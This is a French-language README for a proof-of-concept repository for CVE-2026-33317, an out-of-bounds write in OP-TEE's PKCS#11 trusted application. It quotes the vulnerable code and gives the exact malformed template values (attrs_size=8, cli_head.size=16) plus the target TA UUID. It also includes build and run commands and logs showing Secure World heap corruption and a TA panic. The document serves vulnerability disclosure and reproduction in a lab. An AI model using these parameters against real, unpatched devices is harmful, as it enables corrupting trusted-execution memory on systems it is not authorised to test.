
Preuve de concept pour CVE-2026-33317, une écriture hors limites dans OP-TEE PKCS#11 TA, démontrant la corruption du tas du Secure World via un modèle d'attribut malformé.
Ce dépôt contient la preuve de concept du monde normal, les notes de reproduction, et les journaux capturés pour CVE-2026-33317 / GHSA-8cqw-mg7v-c9p9.
L'avis officiel OP-TEE décrit une validation manquante dans
entry_get_attribute_value() pour PKCS11_CMD_GET_ATTRIBUTE_VALUE. Le bogue peut
provoquer des lectures hors limites depuis le tas de la TA PKCS#11 et, avec un
modèle d'attribut malformé, des écritures au-delà du tampon de modèle temporaire. Cette
preuve de concept cible le cas d'écriture hors limites et démontre la corruption
du tas du monde sécurisé dans la TA PKCS#11.
CVE-2026-33317>= 3.13.04.11 et ultérieures8.7 ÉlevéCWE-125, CWE-787Utilisez ceci uniquement dans un laboratoire local ou un autre environnement où vous êtes autorisé à tester OP-TEE.
La copie de travail locale à partir de laquelle ce README a été préparé était un espace de
travail OP-TEE QEMUv8 aplati. Le répertoire .repo et tous les fichiers/répertoires de métadonnées .git
ont été supprimés, de sorte que cette archive locale n'est plus utilisable avec repo sync ou
les commandes normales d'historique git.
Le dépôt GitHub exclut intentionnellement les arborescences source volumineuses OP-TEE/QEMU,
les chaînes d'outils et les sorties de compilation. Recréez-les à partir de qemu-v8-setup.md, ou copiez
les fichiers de la preuve de concept dans une racine de compilation qemu_v8 OP-TEE existante, avant d'exécuter la
reproduction QEMU automatisée à partir d'un nouveau clone.
Fichiers importants de niveau supérieur :
L'archive locale préparée contenait également des répertoires source/compilation tels que optee_os,
optee_client, qemu, linux, trusted-firmware-a, u-boot, buildroot,
out-br et toolchains ; ceux-ci sont ignorés pour la publication.
Dans l'arborescence optee_os vulnérable, ta/pkcs11/src/object.c itère sur un
modèle d'attribut sérialisé fourni par le client :
cur = (char *)template + sizeof(struct pkcs11_object_head);
end = cur + template->attrs_size;
...
data_ptr = cli_head.size ? cli_ref->data : NULL;
rc = get_attribute(obj->attributes, cli_head.id, data_ptr, &cli_head.size);
La boucle ne prouve pas que chaque en-tête d'attribut et sa zone de données sont entièrement dans le modèle alloué. La preuve de concept envoie :
attrs_size = 8, exactement un pkcs11_attribute_head et aucun octet de données.attrs_count = 1.cli_head.id = CKA_LABEL.cli_head.size = 16, correspondant à l'étiquette de 16 octets de l'objet créé.Cela crée une allocation de modèle de 16 octets :
sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16
cli_ref->data pointe alors vers template + 16, exactement un octet au-delà de la fin de
l'allocation. get_attribute() dans ta/pkcs11/src/attributes.c constate que la
taille fournie par l'appelant est suffisamment grande et copie l'étiquette de 16 octets vers ce
pointeur hors limites, corrompant le tas de la TA PKCS#11.
Prérequis utilisés par l'espace de travail QEMUv8 préparé :
expectqemu_v8 avec les sorties de compilation, les chaînes d'outils et le binaire QEMU
disposés comme l'archive locale décrite dans qemu-v8-setup.mdCompiler la preuve de concept :
./build_poc.sh
Résultat de compilation attendu :
Built: out/bin/c01_poc
Exécuter la reproduction QEMUv8 automatisée :
./run_c01.sh
Le script de lancement vérifie ces fichiers préparés avant de démarrer :
out/bin/bl1.binout/bin/Imageout/bin/rootfs.cpio.gzout/bin/c01_pocSi les artefacts de compilation sont manquants, recréez/compilez d'abord l'espace de travail OP-TEE
puis relancez ./build_poc.sh.
Le journal du monde normal doit montrer la requête forgée :
[+] TEEC session with PKCS#11 TA opened
[+] INIT_TOKEN rc=0x00000000 OK
[+] OPEN_SESSION rc=0x00000000, session_handle=0x00000001
[+] CREATE_OBJECT rc=0x00000000, obj_handle=0x00000001
[+] Object has CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes)
[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...
[+] GET_ATTRIBUTE_VALUE[0] rc=0xffffffff
Le journal du monde sécurisé doit contenir l'assertion de l'allocateur et le panique de la TA :
E/TA: assertion 'BH((char *) b - b->bh.bsize)->prevfree == 0' failed at lib/libutils/isoc/bget.c:1022 in brel()
E/TC:? 0 TA panicked with code 0xffff0000
E/LD: Status of TA fd02c9da-306c-48c7-a49c-bbd827ae86ee
Les journaux capturés d'une exécution réussie sont déjà présents à :
out/bin/c01_nw.logout/bin/c01_sw.logc01_poc.c invoque l'UUID de la TA PKCS#11
fd02c9da-306c-48c7-a49c-bbd827ae86ee via libteec :
CKA_LABEL = "AAAAAAAAAAAAAAAA".CMD_GET_ATTRIBUTE_VALUE malformée avec attrs_size = 8
et cli_head.size = 16.La première requête malveillante suffit à corrompre les métadonnées du tas. La TA panique ensuite lorsque l'allocateur bget d'OP-TEE détecte les métadonnées de bloc corrompues.
run_c01.sh partage out/bin dans l'invité via virtio-9p et écrit les journaux
de retour dans le même répertoire.out/bin doivent pointer
vers les artefacts de cette archive. Le dépôt GitHub publié ne suit que
les fichiers out/bin/c01_*.log capturés.C-01-reproduction.md documente une approche antérieure de harnais ASAN x86. La
preuve de concept exécutable de ce dossier est la preuve de concept QEMUv8 TEEC : c01_poc.c.| Chemin | Objectif |
|---|
c01_poc.c | Preuve de concept du monde normal AArch64 utilisant des appels libteec bruts |
build_poc.sh | Compile en croisé c01_poc.c vers out/bin/c01_poc |
run_c01.sh | Démarre QEMUv8 et exécute la preuve de concept via expect |
c01_check.exp | Automatise la connexion invitée, le montage virtio-9p et l'exécution de la preuve de concept |
out/bin/c01_nw.log | Journal de reproduction du monde normal capturé |
out/bin/c01_sw.log | Journal du monde sécurisé capturé avec le panique de la TA PKCS#11 |
reproduction-log.md | Notes complètes de reproduction QEMUv8 |
qemu-v8-setup.md | Notes de configuration et de validation de base OP-TEE QEMUv8 |
C-01-reproduction.md | Notes antérieures du harnais ASAN ; pas la preuve de concept exécutable principale de ce dossier |
AGENTS.md | Notes de maintenance pour les futurs agents IA/code |